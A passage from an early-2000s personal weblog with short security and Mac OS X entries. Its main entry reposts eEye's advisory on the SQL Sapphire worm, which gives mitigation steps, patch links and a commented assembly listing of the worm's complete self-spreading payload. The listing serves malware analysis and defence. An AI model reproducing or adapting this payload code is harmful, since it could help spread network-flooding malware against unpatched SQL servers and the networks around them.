disLEXia

Wednesday, 16. July 2003

Rendezvous Beacon

Nice:

Rendezvous Beacon is a Mac OS X application that enables you to publish Rendezvous services on a computer or to serve as a proxy for Rendezvous services on other computers or devices.

Rendezvous Beacon is distributed as freeware. [teenage mutant ninja hero coders]
08:48 | permanent link | mail this

Thursday, 05. June 2003

Ani-OCR / Telling Computers and Humans Apart

Regarding my entry on anti-OCR fonts John D. Gregory points out a group of riddles called captcha and beeing ment to be a kind of turing test. Yahoo's sign-up system seems to be inspired by them.
15:44 | permanent link | mail this

Friday, 16. May 2003

nmap fighting the evil forces in matrix reloaded

Von: Fyodor <fyodor@insecure.org>
An: nmap-hackers@insecure.org

[...] So after waiting an hour in a line snaking out of the theatre to the
parking lot, I finally got in to my 10pm Wednesday showing.  All was
going well until Trinity needed to do some hacking.  Oh, no!  I was
sure we'd see a silly "Hackers"-esque 3D animated "hacking scene".
Not so!  Trinity is as smart as she is seductive!  She whips out
Nmap (!!!), scans her target, finds 22/tcp open, and proceeds with an
über ssh technique!  I was so surprised, I almost jumped out of my
seat and did the "r00t dance" right there in the theatre! [...]

Monday, 27. January 2003

SQL Sapphire Worm Analysis

Forwarded from: "Marc Maiffret" <marc@eeye.com>

SQL Sapphire Worm Analysis

Release Date:
1/25/03

Severity:
High

Systems Affected:
Microsoft SQL Server 2000 pre SP 2

Description:
Late Friday, January 24, 2003 we became aware of a new SQL worm
spreading quickly across various networks around the world.

The worm is spreading using a buffer overflow to exploit a flaw in
Microsoft SQL Server 2000. The SQL 2000 server flaw was discovered in
July, 2002 by Next Generation Security Software Ltd. The buffer
overflow exists because of the way SQL improperly handles data sent to
its Microsoft SQL Monitor port. Attackers leveraging this
vulnerability will be executing their code as SYSTEM, since Microsoft
SQL Server 2000 runs with SYSTEM privileges.

The worm works by generating pseudo-random IP addresses to try to
infect with its payload. The worm payload does not contain any
additional malicious content (in the form of backdoors etc.); however,
because of the nature of the worm and the speed at which it attempts
to re-infect systems, it can potentially create a denial-of-service
attack against infected networks.

We have been able to verify that multiple points of connectivity on
the Internet have been bogged down since 9pm Pacific Standard Time.

It should be noted that this worm is not the same as an earlier SQL
worm that used the SA/nopassword SQL vulnerability as its spread
vector. This is a new worm is more devastating as it is taking
advantage of a software-specific flaw rather than a configuration
error. We have already had many reports of smaller networks brought
down due to the flood of data from the Sapphire Worm trying to
re-infect new systems.

Corrective Action

We recommend that people immediately firewall SQL service ports at all
of their gateways. The worm uses only UDP port 1434 (SQL Monitor Port)
to spread itself to a new system; however, it is safe practice to
filter all SQL traffic at all gateways. The following is a list of
SQL server ports: ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s
1433/udp #Microsoft-SQL-Server ms-sql-m 1434/tcp
#Microsoft-SQL-Monitor ms-sql-m 1434/udp #Microsoft-SQL-Monitor

Once again this worm is taking advantage of a known vulnerability that
has had a patch available for many months. Microsoft has also released
a recent service pack for SQL (Service Pack 3) that includes a fix for
this vulnerability.

Standalone patch:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-039.asp

SQL 2000 Service Pack 3:
http://www.microsoft.com/sql/downloads/2000/sp3.asp

Previous SQL Service Pack versions are vulnerable.

Technical Description

The following is a quick run-down of what the worm's payload is doing after
infection:

1. Retrieves the address of GetProcAddress and Loadlibrary from the
IAT in sqlsort.dll. It snags the necessary library base addresses and
function entry points as needed.
2. Calls gettickcount, and uses returned count as a pseudo-random seed
3. Creates a UDP socket
4. Performs a simple pseudo random number generation formula using the
returned gettickcount value to generate an IP Address that will later
be used as the target.
5. Send worm payload in a SQL Server Resolution Service request to the
pseudo random target address, on port 1434 (UDP).
6. Return back to formula and continue generating new pseudo random
addresses.


push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp
mov eax, 1010101h ; Reconstruct session, after the
overflow the payload buffer
; get's corrupted during program
execution but before the
; payload is executed. .
xor ecx, ecx
mov cl, 18h

FIXUP:
push eax
loop FIXUP
xor eax, 5010101h
push eax
mov ebp, esp
push ecx
push 6C6C642Eh
push 32336C65h
push 6E72656Bh ; kernel32
push ecx
push 746E756Fh ; GetTickCount
push 436B6369h
push 54746547h
mov cx, 6C6Ch
push ecx
push 642E3233h ; ws2_32.dll
push 5F327377h
mov cx, 7465h
push ecx
push 6B636F73h ; socket
mov cx, 6F74h
push ecx
push 646E6573h ; sendto
mov esi, 42AE1018h ; IAT from sqlsort
lea eax, [ebp-2Ch] ; (ws2_32.dll)
push eax
call dword ptr [esi] ; call loadlibrary
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-10h] ; (kernel32.dll)
push eax
call dword ptr [esi] ; loadlibrary
push eax
mov esi, 42AE1010h ; IAT from sqlsort
mov ebx, [esi]
mov eax, [ebx]
cmp eax, 51EC8B55h ; check entry point fingerprint
jz short VALID_GP ; Check entry point fingerprint for
getprocaddress, if it failes
; fall back to GetProcAddress entry
in another DLL version.
; Undetermined what dll versions
this will succedd on. Due
; to the lack of reliable importing
this may not work across all
; dll versions.
mov esi, 42AE101Ch ; IAT entry -> 77EA094C

VALID_GP:
call dword ptr [esi] ; GetProcAddress
call eax ; return from GetProcaddress =
GetTickCount entrypoint
xor ecx, ecx
push ecx
push ecx
push eax
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; 9A050002 = port 1434 / AF_INET
lea eax, [ebp-34h] ; (socket)
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
push 11h
push 2
push 2
call eax ; socket
push eax
lea eax, [ebp-3Ch] ; sendto
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
mov esi, eax ; save sendto -> esi
or ebx, ebx
xor ebx, 0FFD9613Ch

PRND:
mov eax, [ebp-4Ch] ; Pseudo Random Algorithm Start
lea ecx, [eax+eax*2]
lea edx, [eax+ecx*4]
shl edx, 4
add edx, eax
shl edx, 8
sub edx, eax
lea eax, [eax+edx*4]
add eax, ebx ; Pseudo Random Algorithm End
mov [ebp-4Ch], eax
push 10h
lea eax, [ebp-50h]
push eax
xor ecx, ecx
push ecx
xor cx, 178h
push ecx
lea eax, [ebp+3]
push eax
mov eax, [ebp-54h]
push eax
call esi ; sendto
jmp short PRND ; Jump back to Pseudo Random Algorithm
Start

In Closing
We have provided brief information here as we are currently working to
understand more of the worm's internal behavior. We will provide
updates as they become available.

This worm has been dubbed the "Sapphire Worm" by eEye due to the fact
that several engineers had to be pulled away from local bars to begin
the investigation/dissection process.

Credit:
Riley Hassell

Related Links:
SQLSecurity.com
http://sqlsecurity.com/

Microsoft Security Bulletin:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/ms02-039.asp

Copyright (c) 1998-2003 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
alert@eEye.com for permission.

Disclaimer
The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
http://www.eEye.com
info@eEye.com [isn]
09:03 | permanent link | mail this

Tuesday, 14. January 2003

mod_rendezvous

Wow! Eric Seidels mod_rendezvous lets apache webservers automatically be detected by Apples Browser Safari. Nifty.
07:52 | permanent link | mail this

Tuesday, 03. December 2002

Hacker Log: Pathway to Successful Site Attack

A few fairly simple practices would have prevented my successful attack on eWeek's OpenHack site. Application security can be attained, but it must be consistently applied and methodically checked to be effective. [Help Net Security]
14:23 | permanent link | mail this

Friday, 29. November 2002

Cracking OpenVMS Passwords with John the Ripper

Jean-loup Gailly has written a patch for John the Ripper to allow cracking OpenVMS (Vax and Alpha) passwords. [Help Net Security]
09:36 | permanent link | mail this

Tuesday, 19. November 2002

Smart cards also open to attack

Sydney University engineering student Ryan Junee has demonstrated a smart card attack for his final year thesis, using a method called "differential power analysis". [Help Net Security]
15:23 | permanent link | mail this

Monday, 18. November 2002

Per Posting Pages

Ihave hacked Radio Userland to create page per Item like most other weblog software does. The permalink (#) now links to this page. This pages still have issues, e.g.

tags are not rendered correctly, the date and the categories of the posting is not shown, etc.
06:47 | permanent link | mail this

disLEXia, a research project by Maximillian Dornseif